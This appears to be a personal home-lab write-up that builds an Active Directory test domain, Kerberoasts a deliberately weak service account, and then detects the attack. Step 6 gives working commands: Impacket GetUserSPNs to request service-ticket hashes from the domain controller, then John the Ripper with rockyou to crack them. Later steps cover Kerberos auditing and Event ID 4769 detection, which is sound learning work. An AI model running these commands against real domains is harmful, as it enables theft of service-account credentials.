Active Directory Kerberoasting Lab

Step 1 -- Install Windows Server & Promote DC01 to Domain Controller

1. Boot into your Windows Server 2019 VM (10.0.2.7).
2. Open Server Manager > click Add Roles and Features.
3. Choose Role-based or feature-based installation.
4. Select your server (should show as DC01).
5. Check Active Directory Domain Services (AD DS) > confirm installation.
6. After install, click the yellow exclamation mark in Server Manager - Promote this server to a domain controller.
7. Create a new forest > name it: lab.local.
8. Leave defaults checked for DNS + Global Catalog.
9. Set a DSRM password (just use something you'll remember).
10. Reboot after install completes.

Alright, so this was the first big milestone. I officially stood up my first DC in the lab. Promoting the server to a domain controller is basically making it "the boss" of the environment, controlling authentication and policies. Naming the forest lab.local gave me a safe internal DNS namespace. After the reboot, I was stoked because I now had the foundation of a real corporate environment. Next step will be adding accounts to this domain so we have something to test against.

Step 2 -- Create Domain User & Service Account

1. Log into DC01 as lab\Administrator.
2. Open Active Directory Users and Computers (ADUC) (dsa.msc).
3. Right-click Users > New > User.
   • Create labuser with password Password123!.
   • Set password to never expire.
4. Create another account called svc_sql.
   • This is the service account we'll Kerberoast later.
5. Open an elevated PowerShell window on DC01. Run:

setspn -A MSSQLSvc/DC01.lab.local:1433 lab\svc_sql

Syntax Breakdown:

• setspn → Command to manage Service Principal Names.
• -A → Add SPN.
• MSSQLSvc/DC01.lab.local:1433 → Service type (SQL) + hostname + port.
• lab\svc_sql → Account to tie SPN to.

Here's where things get fun I built a normal user to mimic an employee and then a service account to mimic a real-world SQL service. Attackers love going after these service accounts because they usually have weak passwords and elevated rights. By tying an SPN to svc_sql, I basically made it visible to Kerberos authentication. I knew this would be my Kerberoast target down the line.

Step 3 -- Join Client Machine to Domain

1. Boot your Windows Server "client" VM (10.0.2.8).
2. Right-click This PC > Properties > Rename this PC (advanced).
3. Change the hostname to WIN-SRV01. Reboot.
4. After reboot, go back to the same window > click Change under "To rename this computer or change its domain".
5. Select Domain and type lab.local.
6. When prompted, enter domain admin credentials (lab\Administrator).
7. If successful, you'll get a "Welcome to lab.local" popup. Reboot again.
8. Log in using lab\labuser to confirm domain join.

Joining the client to the domain made the environment feel real. Now I had a DC and a workstation both talking to each other through Kerberos. Watching the "Welcome to lab.local" message pop up felt like a win --- it's proof the DC is doing its job. With a client system in place, I could now simulate what an attacker would see if they landed on a domain machine.

Step 4 -- Configure File Sharing & Map Drive

1. On DC01, create a folder called Shared.
2. Right-click > Properties > Sharing tab → Advanced Sharing.
3. Check Share this folder > name it Shared.
4. Click Permissions > Add lab\Domain Users > grant Read/Write.
5. On WIN-SRV01, open File Explorer.
6. Right-click This PC > Map Network Drive.
7. Choose a drive letter (T:) and type:

<!-- -->

\\DC01\Shared

8. Enter domain creds (e.g., lab\labuser).
9. Verify the folder opens and you can create files.

This was all about simulating a corporate-style shared drive. In the real world, attackers often pivot into these mapped drives to grab sensitive docs. Setting it up here gave me something tangible to work with when I eventually simulate data exfiltration. Plus, it was just cool to see the share light up on the client VM like connecting the dots between the DC and the workstation.

Step 5 -- Kali Prep (10.0.2.5)

1. Start Kali Linux and ensure it can ping both DC01 (10.0.2.7) and WIN-SRV01 (10.0.2.8).

ping -c 2 10.0.2.7
ping -c 2 10.0.2.8

2. Update repositories:

sudo apt update && sudo apt upgrade -y

3. Install Impacket:

sudo apt install python3-impacket -y

4. Install John the Ripper:

sudo apt install john -y

Now the attacker's machine was in the game. Making sure Kali could talk to the DC and client proved my lab network was healthy. Installing Impacket and John set me up with the exact tools real attackers use. At this point, I was geared up to start harvesting service tickets and seeing if I could break into that svc_sql account.

Step 6 -- Kerberoasting Attack (Offense)

1. From Kali, run GetUserSPNs.py:

impacket-GetUserSPNs lab.local/Administrator:'Password123!' -dc-ip 10.0.2.7 -request

Syntax Breakdown:

• impacket-GetUserSPNs - Impacket tool to enumerate SPNs.
• lab.local/Administrator:'Password123!' > Domain\user{=tex}+ password.
• -dc-ip 10.0.2.7 - IP of Domain Controller.
• -request - Requests TGS tickets for service accounts.

2. Output will include an SPN and a hash. Save it:

impacket-GetUserSPNs lab.local/Administrator:'Password123!' -dc-ip 10.0.2.7 -request > spn_hashes.txt

3. Crack with John:

john --wordlist=/usr/share/wordlists/rockyou.txt spn_hashes.txt

This was the "ah-ha" moment. I pulled down the Kerberos ticket for the svc_sql account and dumped its hash. Feeding that into John felt like running a mini real-world password cracking session. When the password popped, it made the risk very real service accounts are gold mines for attackers. Now I had the offensive perspective nailed down.

Step 7 -- Enable Kerberos Auditing (Defense)

1. On DC01, open Group Policy Management.
2. Edit the Default Domain Controllers Policy.
3. Navigate: Computer Configuration > Policies > Windows Settings > Advanced Audit Policy > Account Logon > Kerberos Service Ticket Operations.
4. Enable Success and Failure.
5. Run gpupdate /force in CMD.

Here's where I switched hats to blue team mode. Enabling Kerberos auditing meant I could actually see when someone was trying to abuse service accounts. Without this, the attack would have been invisible in the logs. Running the GPUpdate forced the policy live so I didn't have to wait hours. Now I was ready to catch the attack in the act.

Step 8 -- Event Viewer Detection

1. On DC01, open Event Viewer.
2. Go to Windows Logs - Security.
3. Filter current log - by Event ID 4769.
4. Look for entries tied to svc_sql.
   • Pay attention to Service Name, Encryption Type (0x17 = RC4).

Finding the Kerberoast attempt in the logs was actually satisfying. Event ID 4769 showed me that tickets were requested for the service account. Knowing attackers often force RC4, seeing that encryption type confirmed suspicious behavior. It's cool because it proves defenders can totally catch this as long as the right audit policy is enabled.

Step 10 -- Wrap-Up

This lab was a complete end-to-end journey. I didn't just learn the attack. I learned how to configure the systems to see it in action. It really hit home how attackers and defenders see the same environment differently. Next up, I could extend this lab with lateral movement or Golden Ticket attacks to keep leveling it up.